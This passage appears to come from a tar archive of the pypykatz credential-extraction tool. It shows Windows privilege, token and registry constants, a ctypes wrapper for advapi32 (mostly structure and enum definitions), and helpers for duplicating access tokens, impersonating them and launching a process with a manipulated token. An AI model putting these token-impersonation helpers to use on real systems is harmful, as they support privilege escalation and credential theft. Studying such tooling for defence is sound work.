"SE_TRUSTED_CREDMAN_ACCESS_NAME" : "SeTrustedCredManAccessPrivilege", "SE_UNDOCK_NAME" : "SeUndockPrivilege", "SE_UNSOLICITED_INPUT_NAME" : "SeUnsolicitedInputPrivilege" } # Privilege constants SE_ASSIGNPRIMARYTOKEN_NAME = "SeAssignPrimaryTokenPrivilege" SE_AUDIT_NAME = "SeAuditPrivilege" SE_BACKUP_NAME = "SeBackupPrivilege" SE_CHANGE_NOTIFY_NAME = "SeChangeNotifyPrivilege" SE_CREATE_GLOBAL_NAME = "SeCreateGlobalPrivilege" SE_CREATE_PAGEFILE_NAME = "SeCreatePagefilePrivilege" SE_CREATE_PERMANENT_NAME = "SeCreatePermanentPrivilege" SE_CREATE_SYMBOLIC_LINK_NAME = "SeCreateSymbolicLinkPrivilege" SE_CREATE_TOKEN_NAME = "SeCreateTokenPrivilege" SE_DEBUG_NAME = "SeDebugPrivilege" SE_ENABLE_DELEGATION_NAME = "SeEnableDelegationPrivilege" SE_IMPERSONATE_NAME = "SeImpersonatePrivilege" SE_INC_BASE_PRIORITY_NAME = "SeIncreaseBasePriorityPrivilege" SE_INCREASE_QUOTA_NAME = "SeIncreaseQuotaPrivilege" SE_INC_WORKING_SET_NAME = "SeIncreaseWorkingSetPrivilege" SE_LOAD_DRIVER_NAME = "SeLoadDriverPrivilege" SE_LOCK_MEMORY_NAME = "SeLockMemoryPrivilege" SE_MACHINE_ACCOUNT_NAME = "SeMachineAccountPrivilege" SE_MANAGE_VOLUME_NAME = "SeManageVolumePrivilege" SE_PROF_SINGLE_PROCESS_NAME = "SeProfileSingleProcessPrivilege" SE_RELABEL_NAME = "SeRelabelPrivilege" SE_REMOTE_SHUTDOWN_NAME = "SeRemoteShutdownPrivilege" SE_RESTORE_NAME = "SeRestorePrivilege" SE_SECURITY_NAME = "SeSecurityPrivilege" SE_SHUTDOWN_NAME = "SeShutdownPrivilege" SE_SYNC_AGENT_NAME = "SeSyncAgentPrivilege" SE_SYSTEM_ENVIRONMENT_NAME = "SeSystemEnvironmentPrivilege" SE_SYSTEM_PROFILE_NAME = "SeSystemProfilePrivilege" SE_SYSTEMTIME_NAME = "SeSystemtimePrivilege" SE_TAKE_OWNERSHIP_NAME = "SeTakeOwnershipPrivilege" SE_TCB_NAME = "SeTcbPrivilege" SE_TIME_ZONE_NAME = "SeTimeZonePrivilege" SE_TRUSTED_CREDMAN_ACCESS_NAME = "SeTrustedCredManAccessPrivilege" SE_UNDOCK_NAME = "SeUndockPrivilege" SE_UNSOLICITED_INPUT_NAME = "SeUnsolicitedInputPrivilege" SE_CREATE_TOKEN = 2 SE_ASSIGNPRIMARYTOKEN = 3 SE_LOCK_MEMORY=4 SE_INCREASE_QUOTA=5 SE_UNSOLICITED_INPUT=6 SE_TCB=7 SE_SECURITY=8 SE_TAKE_OWNERSHIP=9 SE_LOAD_DRIVER=10 SE_SYSTEM_PROFILE=11 SE_SYSTEMTIME=12 SE_PROF_SINGLE_PROCESS=13 SE_INC_BASE_PRIORITY=14 SE_CREATE_PAGEFILE=15 SE_CREATE_PERMANENT=16 SE_BACKUP=17 SE_RESTORE=18 SE_SHUTDOWN=19 SE_DEBUG=20 SE_AUDIT=21 SE_SYSTEM_ENVIRONMENT=22 SE_CHANGE_NOTIFY=23 SE_REMOTE_SHUTDOWN=24 SE_UNDOCK=25 SE_SYNC_AGENT=26 SE_ENABLE_DELEGATION=27 SE_MANAGE_VOLUME=28 SE_IMPERSONATE=29 SE_CREATE_GLOBAL=30 SE_TRUSTED_CREDMAN_ACCESS=31 SE_RELABEL=32 SE_INC_WORKING_SET=33 SE_TIME_ZONE=34 SE_CREATE_SYMBOLIC_LINK=35 SE_PRIVILEGE_ENABLED_BY_DEFAULT = 0x00000001 SE_PRIVILEGE_ENABLED = 0x00000002 SE_PRIVILEGE_REMOVED = 0x00000004 SE_PRIVILEGE_USED_FOR_ACCESS = 0x80000000 TOKEN_ADJUST_PRIVILEGES = 0x00000020 LOGON_WITH_PROFILE = 0x00000001 LOGON_NETCREDENTIALS_ONLY = 0x00000002 # Token access rights TOKEN_ASSIGN_PRIMARY = 0x0001 TOKEN_DUPLICATE = 0x0002 TOKEN_IMPERSONATE = 0x0004 TOKEN_QUERY = 0x0008 TOKEN_QUERY_SOURCE = 0x0010 TOKEN_ADJUST_PRIVILEGES = 0x0020 TOKEN_ADJUST_GROUPS = 0x0040 TOKEN_ADJUST_DEFAULT = 0x0080 TOKEN_ADJUST_SESSIONID = 0x0100 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY) TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID) #dont ask me... TOKEN_MANIP_ACCESS = (TOKEN_QUERY | TOKEN_READ | TOKEN_IMPERSONATE | TOKEN_QUERY_SOURCE | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | (131072 | 4)) # typedef enum _SECURITY_IMPERSONATION_LEVEL { # SecurityAnonymous, # SecurityIdentification, # SecurityImpersonation, # SecurityDelegation # } SECURITY_IMPERSONATION_LEVEL, *PSECURITY_IMPERSONATION_LEVEL; SecurityAnonymous = 0 SecurityIdentification = 1 SecurityImpersonation = 2 SecurityDelegation = 3 TokenPrimary = 1 TokenImpersonation = 2 # Predefined HKEY values HKEY_CLASSES_ROOT = 0x80000000 HKEY_CURRENT_USER = 0x80000001 HKEY_LOCAL_MACHINE = 0x80000002 HKEY_USERS = 0x80000003 HKEY_PERFORMANCE_DATA = 0x80000004 HKEY_CURRENT_CONFIG = 0x80000005 # Registry access rights KEY_ALL_ACCESS = 0xF003F KEY_CREATE_LINK = 0x0020 KEY_CREATE_SUB_KEY = 0x0004 KEY_ENUMERATE_SUB_KEYS = 0x0008 KEY_EXECUTE = 0x20019 KEY_NOTIFY = 0x0010 KEY_QUERY_VALUE = 0x0001 KEY_READ = 0x20019 KEY_SET_VALUE = 0x0002 KEY_WOW64_32KEY = 0x0200 KEY_WOW64_64KEY = 0x0100 KEY_WRITE = 0x20006 # Registry value types REG_NONE = 0 REG_SZ = 1 REG_EXPAND_SZ = 2 REG_BINARY = 3 REG_DWORD = 4 REG_DWORD_LITTLE_ENDIAN = REG_DWORD REG_DWORD_BIG_ENDIAN = 5 REG_LINK = 6 REG_MULTI_SZ = 7 REG_RESOURCE_LIST = 8 REG_FULL_RESOURCE_DESCRIPTOR = 9 REG_RESOURCE_REQUIREMENTS_LIST = 10 REG_QWORD = 11 REG_QWORD_LITTLE_ENDIAN = REG_QWORD././@PaxHeader0000000000000000000000000000003400000000000010212 xustar0028 mtime=1721570196.3073645 pypykatz-0.6.10/pypykatz/commons/winapi/local/0000775000175000017500000000000014647211624021003 5ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/commons/winapi/local/__init__.py0000664000175000017500000000000014543266630023104 0ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/commons/winapi/local/advapi32.py0000664000175000017500000000661414543266630022777 0ustar00webdevwebdev import ctypes from pypykatz.commons.winapi.constants import * from pypykatz.commons.winapi.local.function_defs.advapi32 import RevertToSelf, LookupPrivilegeValueW, OpenProcessToken, \ GetTokenInformation_sid, LookupAccountSidW, ConvertSidToStringSidA, DuplicateTokenEx, CreateProcessWithTokenW, \ SetThreadToken, ConvertStringSidToSidA, LOGON_NETCREDENTIALS_ONLY, OpenSCManagerW, SC_MANAGER_ALL_ACCESS, \ SERVICE_DRIVER, SERVICE_WIN32, SERVICE_STATE_ALL, EnumServicesStatusW, EnumServicesStatusExW, SC_ENUM_PROCESS_INFO from pypykatz.commons.winapi.local.function_defs.kernel32 import STARTUPINFOW class ADVAPI32: def __init__(self): pass @staticmethod def LookupPrivilegeValue(system_name, privilege_name): return LookupPrivilegeValueW(system_name, privilege_name) @staticmethod def OpenProcessToken(process_handle, DesiredAccess = TOKEN_ALL_ACCESS): return OpenProcessToken(process_handle, DesiredAccess = DesiredAccess) @staticmethod def GetTokenInformation_sid(token_handle): return GetTokenInformation_sid(token_handle) @staticmethod def LookupAccountSid(lpSystemName, lpSid): return LookupAccountSidW(lpSystemName, lpSid) @staticmethod def ConvertSidToStringSid(lpSid): return ConvertSidToStringSidA(lpSid) @staticmethod def ConvertStringSidToSid(StringSid): return ConvertStringSidToSidA(StringSid) @staticmethod def DuplicateTokenEx(hExistingToken, dwDesiredAccess = TOKEN_ALL_ACCESS, lpTokenAttributes = None, ImpersonationLevel = SecurityImpersonation, TokenType = TokenPrimary): return DuplicateTokenEx(hExistingToken, dwDesiredAccess = dwDesiredAccess, lpTokenAttributes = lpTokenAttributes, ImpersonationLevel = ImpersonationLevel, TokenType = TokenType) @staticmethod def CreateProcessWithToken_manip(token, cmdline): SW_SHOW = 5 STARTF_USESHOWWINDOW = 0x00000001 lpStartupInfo = STARTUPINFOW() lpStartupInfo.cb = ctypes.sizeof(STARTUPINFOW) lpStartupInfo.lpReserved = 0 lpStartupInfo.lpDesktop = 0 lpStartupInfo.lpTitle = 0 lpStartupInfo.dwFlags = STARTF_USESHOWWINDOW lpStartupInfo.cbReserved2 = 0 lpStartupInfo.lpReserved2 = 0 lpStartupInfo.wShowWindow = SW_SHOW CREATE_NEW_CONSOLE = 0x00000010 CreateProcessWithTokenW( hToken = token, dwLogonFlags = LOGON_NETCREDENTIALS_ONLY, lpApplicationName = None, lpCommandLine = cmdline, dwCreationFlags = CREATE_NEW_CONSOLE, lpEnvironment = None, lpCurrentDirectory = None, lpStartupInfo = lpStartupInfo ) @staticmethod def SetThreadToken(token_handle, thread_handle = None): return SetThreadToken(token_handle, thread_handle = thread_handle) @staticmethod def RevertToSelf(): return RevertToSelf() @staticmethod def OpenSCManager(dwDesiredAccess = SC_MANAGER_ALL_ACCESS): return OpenSCManagerW(dwDesiredAccess = dwDesiredAccess) @staticmethod def EnumServicesStatus(hSCManager, dwServiceType = SERVICE_DRIVER | SERVICE_WIN32, dwServiceState = SERVICE_STATE_ALL): return EnumServicesStatusW(hSCManager, dwServiceType = dwServiceType, dwServiceState = dwServiceState) @staticmethod def EnumServicesStatusEx(hSCManager, InfoLevel = SC_ENUM_PROCESS_INFO, dwServiceType = SERVICE_DRIVER | SERVICE_WIN32, dwServiceState = SERVICE_STATE_ALL, pszGroupName = None): return EnumServicesStatusExW(hSCManager, InfoLevel = InfoLevel, dwServiceType = dwServiceType, dwServiceState = dwServiceState, pszGroupName = pszGroupName)././@PaxHeader0000000000000000000000000000003400000000000010212 xustar0028 mtime=1721570196.3073645 pypykatz-0.6.10/pypykatz/commons/winapi/local/function_defs/0000775000175000017500000000000014647211624023631 5ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/commons/winapi/local/function_defs/__init__.py0000664000175000017500000000000014543266630025732 0ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/commons/winapi/local/function_defs/advapi32.py0000664000175000017500000033762214543266630025633 0ustar00webdevwebdev#!/usr/bin/env python # -*- coding: utf-8 -*- # Copyright (c) 2009-2018, Mario Vilas # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # * Redistributions of source code must retain the above copyright notice, # this list of conditions and the following disclaimer. # * Redistributions in binary form must reproduce the above copyright # notice,this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # * Neither the name of the copyright holder nor the names of its # contributors may be used to endorse or promote products derived from # this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE # ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. """ Wrapper for advapi32.dll in ctypes. """ from .defines import * # NOQA from .kernel32 import * # NOQA # XXX TODO # + add transacted registry operations #============================================================================== # This is used later on to calculate the list of exported symbols. _all = None _all = set(vars().keys()) #============================================================================== #--- Constants ---------------------------------------------------------------- # Privilege constants SE_ASSIGNPRIMARYTOKEN_NAME = "SeAssignPrimaryTokenPrivilege" SE_AUDIT_NAME = "SeAuditPrivilege" SE_BACKUP_NAME = "SeBackupPrivilege" SE_CHANGE_NOTIFY_NAME = "SeChangeNotifyPrivilege" SE_CREATE_GLOBAL_NAME = "SeCreateGlobalPrivilege" SE_CREATE_PAGEFILE_NAME = "SeCreatePagefilePrivilege" SE_CREATE_PERMANENT_NAME = "SeCreatePermanentPrivilege" SE_CREATE_SYMBOLIC_LINK_NAME = "SeCreateSymbolicLinkPrivilege" SE_CREATE_TOKEN_NAME = "SeCreateTokenPrivilege" SE_DEBUG_NAME = "SeDebugPrivilege" SE_ENABLE_DELEGATION_NAME = "SeEnableDelegationPrivilege" SE_IMPERSONATE_NAME = "SeImpersonatePrivilege" SE_INC_BASE_PRIORITY_NAME = "SeIncreaseBasePriorityPrivilege" SE_INCREASE_QUOTA_NAME = "SeIncreaseQuotaPrivilege" SE_INC_WORKING_SET_NAME = "SeIncreaseWorkingSetPrivilege" SE_LOAD_DRIVER_NAME = "SeLoadDriverPrivilege" SE_LOCK_MEMORY_NAME = "SeLockMemoryPrivilege" SE_MACHINE_ACCOUNT_NAME = "SeMachineAccountPrivilege" SE_MANAGE_VOLUME_NAME = "SeManageVolumePrivilege" SE_PROF_SINGLE_PROCESS_NAME = "SeProfileSingleProcessPrivilege" SE_RELABEL_NAME = "SeRelabelPrivilege" SE_REMOTE_SHUTDOWN_NAME = "SeRemoteShutdownPrivilege" SE_RESTORE_NAME = "SeRestorePrivilege" SE_SECURITY_NAME = "SeSecurityPrivilege" SE_SHUTDOWN_NAME = "SeShutdownPrivilege" SE_SYNC_AGENT_NAME = "SeSyncAgentPrivilege" SE_SYSTEM_ENVIRONMENT_NAME = "SeSystemEnvironmentPrivilege" SE_SYSTEM_PROFILE_NAME = "SeSystemProfilePrivilege" SE_SYSTEMTIME_NAME = "SeSystemtimePrivilege" SE_TAKE_OWNERSHIP_NAME = "SeTakeOwnershipPrivilege" SE_TCB_NAME = "SeTcbPrivilege" SE_TIME_ZONE_NAME = "SeTimeZonePrivilege" SE_TRUSTED_CREDMAN_ACCESS_NAME = "SeTrustedCredManAccessPrivilege" SE_UNDOCK_NAME = "SeUndockPrivilege" SE_UNSOLICITED_INPUT_NAME = "SeUnsolicitedInputPrivilege" SE_CREATE_TOKEN = 2 SE_ASSIGNPRIMARYTOKEN = 3 SE_LOCK_MEMORY=4 SE_INCREASE_QUOTA=5 SE_UNSOLICITED_INPUT=6 SE_TCB=7 SE_SECURITY=8 SE_TAKE_OWNERSHIP=9 SE_LOAD_DRIVER=10 SE_SYSTEM_PROFILE=11 SE_SYSTEMTIME=12 SE_PROF_SINGLE_PROCESS=13 SE_INC_BASE_PRIORITY=14 SE_CREATE_PAGEFILE=15 SE_CREATE_PERMANENT=16 SE_BACKUP=17 SE_RESTORE=18 SE_SHUTDOWN=19 SE_DEBUG=20 SE_AUDIT=21 SE_SYSTEM_ENVIRONMENT=22 SE_CHANGE_NOTIFY=23 SE_REMOTE_SHUTDOWN=24 SE_UNDOCK=25 SE_SYNC_AGENT=26 SE_ENABLE_DELEGATION=27 SE_MANAGE_VOLUME=28 SE_IMPERSONATE=29 SE_CREATE_GLOBAL=30 SE_TRUSTED_CREDMAN_ACCESS=31 SE_RELABEL=32 SE_INC_WORKING_SET=33 SE_TIME_ZONE=34 SE_CREATE_SYMBOLIC_LINK=35 SE_PRIVILEGE_ENABLED_BY_DEFAULT = 0x00000001 SE_PRIVILEGE_ENABLED = 0x00000002 SE_PRIVILEGE_REMOVED = 0x00000004 SE_PRIVILEGE_USED_FOR_ACCESS = 0x80000000 TOKEN_ADJUST_PRIVILEGES = 0x00000020 LOGON_WITH_PROFILE = 0x00000001 LOGON_NETCREDENTIALS_ONLY = 0x00000002 # Token access rights TOKEN_ASSIGN_PRIMARY = 0x0001 TOKEN_DUPLICATE = 0x0002 TOKEN_IMPERSONATE = 0x0004 TOKEN_QUERY = 0x0008 TOKEN_QUERY_SOURCE = 0x0010 TOKEN_ADJUST_PRIVILEGES = 0x0020 TOKEN_ADJUST_GROUPS = 0x0040 TOKEN_ADJUST_DEFAULT = 0x0080 TOKEN_ADJUST_SESSIONID = 0x0100 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY) TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID) # Predefined HKEY values HKEY_CLASSES_ROOT = 0x80000000 HKEY_CURRENT_USER = 0x80000001 HKEY_LOCAL_MACHINE = 0x80000002 HKEY_USERS = 0x80000003 HKEY_PERFORMANCE_DATA = 0x80000004 HKEY_CURRENT_CONFIG = 0x80000005 # Registry access rights KEY_ALL_ACCESS = 0xF003F KEY_CREATE_LINK = 0x0020 KEY_CREATE_SUB_KEY = 0x0004 KEY_ENUMERATE_SUB_KEYS = 0x0008 KEY_EXECUTE = 0x20019 KEY_NOTIFY = 0x0010 KEY_QUERY_VALUE = 0x0001 KEY_READ = 0x20019 KEY_SET_VALUE = 0x0002 KEY_WOW64_32KEY = 0x0200 KEY_WOW64_64KEY = 0x0100 KEY_WRITE = 0x20006 # Registry value types REG_NONE = 0 REG_SZ = 1 REG_EXPAND_SZ = 2 REG_BINARY = 3 REG_DWORD = 4 REG_DWORD_LITTLE_ENDIAN = REG_DWORD REG_DWORD_BIG_ENDIAN = 5 REG_LINK = 6 REG_MULTI_SZ = 7 REG_RESOURCE_LIST = 8 REG_FULL_RESOURCE_DESCRIPTOR = 9 REG_RESOURCE_REQUIREMENTS_LIST = 10 REG_QWORD = 11 REG_QWORD_LITTLE_ENDIAN = REG_QWORD #--- TOKEN_PRIVILEGE structure ------------------------------------------------ # typedef struct _LUID { # DWORD LowPart; # LONG HighPart; # } LUID, # *PLUID; class LUID(Structure): _fields_ = [ ("LowPart", DWORD), ("HighPart", LONG), ] PLUID = POINTER(LUID) # typedef struct _LUID_AND_ATTRIBUTES { # LUID Luid; # DWORD Attributes; # } LUID_AND_ATTRIBUTES, # *PLUID_AND_ATTRIBUTES; class LUID_AND_ATTRIBUTES(Structure): _fields_ = [ ("Luid", LUID), ("Attributes", DWORD), ] # typedef struct _TOKEN_PRIVILEGES { # DWORD PrivilegeCount; # LUID_AND_ATTRIBUTES Privileges[ANYSIZE_ARRAY]; # } TOKEN_PRIVILEGES, # *PTOKEN_PRIVILEGES; class TOKEN_PRIVILEGES(Structure): _fields_ = [ ("PrivilegeCount", DWORD), ## ("Privileges", LUID_AND_ATTRIBUTES * ANYSIZE_ARRAY), ("Privileges", LUID_AND_ATTRIBUTES), ] # See comments on AdjustTokenPrivileges about this structure PTOKEN_PRIVILEGES = POINTER(TOKEN_PRIVILEGES) #--- GetTokenInformation enums and structures --------------------------------- # typedef enum _TOKEN_INFORMATION_CLASS { # TokenUser = 1, # TokenGroups, # TokenPrivileges, # TokenOwner, # TokenPrimaryGroup, # TokenDefaultDacl, # TokenSource, # TokenType, # TokenImpersonationLevel, # TokenStatistics, # TokenRestrictedSids, # TokenSessionId, # TokenGroupsAndPrivileges, # TokenSessionReference, # TokenSandBoxInert, # TokenAuditPolicy, # TokenOrigin, # TokenElevationType, # TokenLinkedToken, # TokenElevation, # TokenHasRestrictions, # TokenAccessInformation, # TokenVirtualizationAllowed, # TokenVirtualizationEnabled, # TokenIntegrityLevel, # TokenUIAccess, # TokenMandatoryPolicy, # TokenLogonSid, # TokenIsAppContainer, # TokenCapabilities, # TokenAppContainerSid, # TokenAppContainerNumber, # TokenUserClaimAttributes, # TokenDeviceClaimAttributes, # TokenRestrictedUserClaimAttributes, # TokenRestrictedDeviceClaimAttributes, # TokenDeviceGroups, # TokenRestrictedDeviceGroups, # TokenSecurityAttributes, # TokenIsRestricted, # MaxTokenInfoClass # } TOKEN_INFORMATION_CLASS, *PTOKEN_INFORMATION_CLASS; TOKEN_INFORMATION_CLASS = ctypes.c_int TokenUser = 1 TokenGroups = 2 TokenPrivileges = 3 TokenOwner = 4 TokenPrimaryGroup = 5 TokenDefaultDacl = 6 TokenSource = 7 TokenType = 8 TokenImpersonationLevel = 9 TokenStatistics = 10 TokenRestrictedSids = 11 TokenSessionId = 12 TokenGroupsAndPrivileges = 13 TokenSessionReference = 14 TokenSandBoxInert = 15 TokenAuditPolicy = 16 TokenOrigin = 17 TokenElevationType = 18 TokenLinkedToken = 19 TokenElevation = 20 TokenHasRestrictions = 21 TokenAccessInformation = 22 TokenVirtualizationAllowed = 23 TokenVirtualizationEnabled = 24 TokenIntegrityLevel = 25 TokenUIAccess = 26 TokenMandatoryPolicy = 27 TokenLogonSid = 28 TokenIsAppContainer = 29 TokenCapabilities = 30 TokenAppContainerSid = 31 TokenAppContainerNumber = 32 TokenUserClaimAttributes = 33 TokenDeviceClaimAttributes = 34 TokenRestrictedUserClaimAttributes = 35 TokenRestrictedDeviceClaimAttributes = 36 TokenDeviceGroups = 37 TokenRestrictedDeviceGroups = 38 TokenSecurityAttributes = 39 TokenIsRestricted = 40 MaxTokenInfoClass = 41 # typedef enum tagTOKEN_TYPE { # TokenPrimary = 1, # TokenImpersonation # } TOKEN_TYPE, *PTOKEN_TYPE; TOKEN_TYPE = ctypes.c_int PTOKEN_TYPE = POINTER(TOKEN_TYPE) TokenPrimary = 1 TokenImpersonation = 2 # typedef enum { # TokenElevationTypeDefault = 1, # TokenElevationTypeFull, # TokenElevationTypeLimited # } TOKEN_ELEVATION_TYPE , *PTOKEN_ELEVATION_TYPE; TokenElevationTypeDefault = 1 TokenElevationTypeFull = 2 TokenElevationTypeLimited = 3 TOKEN_ELEVATION_TYPE = ctypes.c_int PTOKEN_ELEVATION_TYPE = POINTER(TOKEN_ELEVATION_TYPE) # typedef enum _SECURITY_IMPERSONATION_LEVEL { # SecurityAnonymous, # SecurityIdentification, # SecurityImpersonation, # SecurityDelegation # } SECURITY_IMPERSONATION_LEVEL, *PSECURITY_IMPERSONATION_LEVEL; SecurityAnonymous = 0 SecurityIdentification = 1 SecurityImpersonation = 2 SecurityDelegation = 3 SECURITY_IMPERSONATION_LEVEL = ctypes.c_int PSECURITY_IMPERSONATION_LEVEL = POINTER(SECURITY_IMPERSONATION_LEVEL) # typedef struct _SID_AND_ATTRIBUTES { # PSID Sid; # DWORD Attributes; # } SID_AND_ATTRIBUTES, *PSID_AND_ATTRIBUTES; class SID_AND_ATTRIBUTES(Structure): _fields_ = [ ("Sid", PSID), ("Attributes", DWORD), ] PSID_AND_ATTRIBUTES = POINTER(SID_AND_ATTRIBUTES) # typedef struct _TOKEN_USER { # SID_AND_ATTRIBUTES User; # } TOKEN_USER, *PTOKEN_USER; class TOKEN_USER(Structure): _fields_ = [ ("User", SID_AND_ATTRIBUTES), ] PTOKEN_USER = POINTER(TOKEN_USER) # typedef struct _TOKEN_MANDATORY_LABEL { # SID_AND_ATTRIBUTES Label; # } TOKEN_MANDATORY_LABEL, *PTOKEN_MANDATORY_LABEL; class TOKEN_MANDATORY_LABEL(Structure): _fields_ = [ ("Label", SID_AND_ATTRIBUTES), ] PTOKEN_MANDATORY_LABEL = POINTER(TOKEN_MANDATORY_LABEL) # typedef struct _TOKEN_OWNER { # PSID Owner; # } TOKEN_OWNER, *PTOKEN_OWNER; class TOKEN_OWNER(Structure): _fields_ = [ ("Owner", PSID), ] PTOKEN_OWNER = POINTER(TOKEN_OWNER) # typedef struct _TOKEN_PRIMARY_GROUP { # PSID PrimaryGroup; # } TOKEN_PRIMARY_GROUP, *PTOKEN_PRIMARY_GROUP; class TOKEN_PRIMARY_GROUP(Structure): _fields_ = [ ("PrimaryGroup", PSID), ] PTOKEN_PRIMARY_GROUP = POINTER(TOKEN_PRIMARY_GROUP) # typedef struct _TOKEN_APPCONTAINER_INFORMATION { # PSID TokenAppContainer; # } TOKEN_APPCONTAINER_INFORMATION, *PTOKEN_APPCONTAINER_INFORMATION; class TOKEN_APPCONTAINER_INFORMATION(Structure): _fields_ = [ ("TokenAppContainer", PSID), ] PTOKEN_APPCONTAINER_INFORMATION = POINTER(TOKEN_APPCONTAINER_INFORMATION) # typedef struct _TOKEN_ORIGIN { # LUID OriginatingLogonSession; # } TOKEN_ORIGIN, *PTOKEN_ORIGIN; class TOKEN_ORIGIN(Structure): _fields_ = [ ("OriginatingLogonSession", LUID), ] PTOKEN_ORIGIN = POINTER(TOKEN_ORIGIN) # typedef struct _TOKEN_LINKED_TOKEN { # HANDLE LinkedToken; # } TOKEN_LINKED_TOKEN, *PTOKEN_LINKED_TOKEN; class TOKEN_LINKED_TOKEN(Structure): _fields_ = [ ("LinkedToken", HANDLE), ] PTOKEN_LINKED_TOKEN = POINTER(TOKEN_LINKED_TOKEN) # typedef struct _TOKEN_STATISTICS { # LUID TokenId; # LUID AuthenticationId; # LARGE_INTEGER ExpirationTime; # TOKEN_TYPE TokenType; # SECURITY_IMPERSONATION_LEVEL ImpersonationLevel; # DWORD DynamicCharged; # DWORD DynamicAvailable; # DWORD GroupCount; # DWORD PrivilegeCount; # LUID ModifiedId; # } TOKEN_STATISTICS, *PTOKEN_STATISTICS; class TOKEN_STATISTICS(Structure): _fields_ = [ ("TokenId", LUID), ("AuthenticationId", LUID), ("ExpirationTime", LONGLONG), # LARGE_INTEGER ("TokenType", TOKEN_TYPE), ("ImpersonationLevel", SECURITY_IMPERSONATION_LEVEL), ("DynamicCharged", DWORD), ("DynamicAvailable", DWORD), ("GroupCount", DWORD), ("PrivilegeCount", DWORD), ("ModifiedId", LUID), ] PTOKEN_STATISTICS = POINTER(TOKEN_STATISTICS) #--- SID_NAME_USE enum -------------------------------------------------------- # typedef enum _SID_NAME_USE { # SidTypeUser = 1, # SidTypeGroup, # SidTypeDomain, # SidTypeAlias, # SidTypeWellKnownGroup, # SidTypeDeletedAccount, # SidTypeInvalid, # SidTypeUnknown, # SidTypeComputer, # SidTypeLabel # } SID_NAME_USE, *PSID_NAME_USE; SidTypeUser = 1 SidTypeGroup = 2 SidTypeDomain = 3 SidTypeAlias = 4 SidTypeWellKnownGroup = 5 SidTypeDeletedAccount = 6 SidTypeInvalid = 7 SidTypeUnknown = 8 SidTypeComputer = 9 SidTypeLabel = 10 #--- WAITCHAIN_NODE_INFO structure and types ---------------------------------- WCT_MAX_NODE_COUNT = 16 WCT_OBJNAME_LENGTH = 128 WCT_ASYNC_OPEN_FLAG = 1 WCTP_OPEN_ALL_FLAGS = WCT_ASYNC_OPEN_FLAG WCT_OUT_OF_PROC_FLAG = 1 WCT_OUT_OF_PROC_COM_FLAG = 2 WCT_OUT_OF_PROC_CS_FLAG = 4 WCTP_GETINFO_ALL_FLAGS = WCT_OUT_OF_PROC_FLAG | WCT_OUT_OF_PROC_COM_FLAG | WCT_OUT_OF_PROC_CS_FLAG HWCT = LPVOID # typedef enum _WCT_OBJECT_TYPE # { # WctCriticalSectionType = 1, # WctSendMessageType, # WctMutexType, # WctAlpcType, # WctComType, # WctThreadWaitType, # WctProcessWaitType, # WctThreadType, # WctComActivationType, # WctUnknownType, # WctMaxType # } WCT_OBJECT_TYPE; WCT_OBJECT_TYPE = DWORD WctCriticalSectionType = 1 WctSendMessageType = 2 WctMutexType = 3 WctAlpcType = 4 WctComType = 5 WctThreadWaitType = 6 WctProcessWaitType = 7 WctThreadType = 8 WctComActivationType = 9 WctUnknownType = 10 WctMaxType = 11 # typedef enum _WCT_OBJECT_STATUS # { # WctStatusNoAccess = 1, // ACCESS_DENIED for this object # WctStatusRunning, // Thread status # WctStatusBlocked, // Thread status # WctStatusPidOnly, // Thread status # WctStatusPidOnlyRpcss, // Thread status # WctStatusOwned, // Dispatcher object status # WctStatusNotOwned, // Dispatcher object status # WctStatusAbandoned, // Dispatcher object status # WctStatusUnknown, // All objects # WctStatusError, // All objects # WctStatusMax # } WCT_OBJECT_STATUS; WCT_OBJECT_STATUS = DWORD WctStatusNoAccess = 1 # ACCESS_DENIED for this object WctStatusRunning = 2 # Thread status WctStatusBlocked = 3 # Thread status WctStatusPidOnly = 4 # Thread status WctStatusPidOnlyRpcss = 5 # Thread status WctStatusOwned = 6 # Dispatcher object status WctStatusNotOwned = 7 # Dispatcher 